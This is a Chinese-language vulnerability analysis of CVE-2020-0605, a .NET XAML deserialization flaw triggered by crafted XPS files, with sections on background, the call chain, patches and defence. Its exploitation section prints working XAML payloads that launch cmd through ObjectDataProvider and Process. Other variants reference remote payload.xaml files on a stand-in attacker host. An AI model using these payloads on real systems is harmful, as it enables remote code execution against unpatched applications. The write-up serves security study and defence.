CVE-2020-0605:.NET处理XPS文件时的命令执行
字数 942 2025-08-20 18:17:47
CVE-2020-0605:.NET处理XPS文件时的命令执行漏洞分析与利用
1. 漏洞概述
CVE-2020-0605是一个存在于.NET框架中处理XPS文件时的反序列化漏洞,攻击者可以通过构造恶意的XPS文件实现远程代码执行。该漏洞影响所有使用.NET处理XPS文件的业务场景。
2. 背景知识
2.1 XPS文件格式
XPS (XML Paper Specification)是微软开发的文档格式,作为PDF的替代品:
- 本质是一个压缩包,包含多种文件类型
- 包含图像、字体和XML文档
- .NET使用XAML来序列化处理XPS文件中的XML文件
2.2 典型XPS文件结构
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
3. 漏洞技术分析
3.1 漏洞根源
漏洞存在于System.Windows.Documents.XpsValidatingLoader内部类的Load()和Validate()方法中,这些方法在处理恶意XAML指令时会调用XamlReader.Load()方法,导致代码执行。
3.2 受影响类调用链
System.Windows.Documents.XpsValidatingLoader (内部类)
├─ Load()方法
│ ├─ 被PageContent类调用
│ ├─ 被FixedDocument类调用
│ └─ 被DocumentReference类调用
└─ Validate()方法
└─ 被FixedDocument类调用
3.3 漏洞利用条件
- 应用程序使用.NET框架处理XPS文件
- 不受XPS Viewer影响(因为它不调用.NET处理XPS文件)
4. 漏洞利用方法
4.1 通用利用Payload
ysoserial项目提供的通用利用代码:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc"
ObjectType="{x:Type Diag:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
4.2 利用场景示例
场景1:通过XpsDocument类加载
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();
场景2:通过打印队列加载
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
4.3 具体利用方式
方式1:FixedDocument/FixedDocumentSequence + xaml引用
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>
或
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>
方式2:利用FixedDocument/FixedDocumentSequence的Resources属性
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocument.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocument.Resources>
</FixedDocument>
或
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocumentSequence.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocumentSequence.Resources>
</FixedDocumentSequence>
5. 补丁情况
- 微软在2020年1月发布了初始补丁,但仅增加了对.fdseq格式文件的安全校验
- 2020年5月发布了完善的补丁,彻底修复了该漏洞
6. 防御建议
- 及时安装微软发布的最新安全补丁
- 对处理XPS文件的应用程序进行输入验证
- 在不需要处理XPS文件的系统中禁用相关功能
- 使用应用程序白名单限制未知XPS文件的执行
7. 研究价值
该漏洞的利用思路可以用于开发其他XAML反序列化漏洞的利用链,为安全研究人员提供了有价值的参考。